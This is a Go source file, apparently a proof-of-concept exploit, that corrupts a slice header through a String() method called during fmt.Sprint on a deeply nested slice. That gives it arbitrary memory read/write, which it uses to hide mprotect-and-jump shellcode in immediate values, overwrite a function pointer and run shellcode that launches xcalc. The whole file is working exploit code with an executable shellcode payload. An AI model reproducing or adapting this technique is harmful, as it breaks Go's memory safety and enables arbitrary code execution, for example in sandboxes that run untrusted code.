package main

import "fmt"

type pwn struct
{
    a [3]uint
}

func (this *pwn) String() string {
    this.a[0] = 0   // overwrite sliceHeader.Data
    this.a[1] = 0xffffffffffffffff  // overwrite sliceHeader.Len
    return ""
}

func get_rw() []*pwn {
    var a pwn
    s := [][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][]*pwn{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{&a}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}} // depth 253
    fmt.Sprint(s)
    return s[0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0][0]  // depth 252, type []*pwn, sliceHeader.Data == 0, sliceHeader.Len == MAX_UINT64
}

func runsc(sc string) []int {
    // mprotect and jmp to sc
    // encoded in immediate values
    x0 := 0x05eb909090909090
    x1 := 0x06eb9008247c8b48
    x2 := 0x06eb90900cefc148
    x3 := 0x06eb90900ce7c148
    x4 := 0x06eb9000001000be
    x5 := 0x06eb9000000007ba
    x6 := 0x06eb900000000ab8
    x7 := 0x0000082464ff050f
    return []int{x0,x1,x2,x3,x4,x5,x6,x7}
}

func main() {
    var buf [3]uint
    var buf_addr uint
    fmt.Sscan(fmt.Sprintf("%p", &buf), &buf_addr)
    f := runsc
    var faddr uint
    var fptr_addr uint
    fmt.Sscan(fmt.Sprintf("%p", f), &faddr)
    fmt.Sscan(fmt.Sprintf("%p", &f), &fptr_addr)
    fmt.Println(faddr, fptr_addr)

    rw := get_rw()
    buf[0] = faddr

    // locate shellcode in immediate values
    for rw[buf_addr/8].a[0] != 0x05eb909090909090 {
        buf[0] += 1
    }
    fmt.Printf("%x\n", buf[0])

    // shellcode for poping xcalc
    pop_xcalc := "\x6a\x3b\x58\x99\x48\x8d\x3d\x11\x00\x00\x00\x52\x57\x54\x5e\x48\x8d\x1d\x15\x00\x00\x00\x52\x53\x54\x5a\x0f\x05\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x78\x63\x61\x6c\x63\x00\x44\x49\x53\x50\x4c\x41\x59\x3d\x3a\x30\x00"

    buf[1] = fptr_addr
    rw[buf_addr/8+1].a[0] = buf_addr    // overwrite function pointer, which is dereferenced twice in Go. Now f -> buf[0] -> runsc+offset
    f(pop_xcalc)   // pop xcalc
}
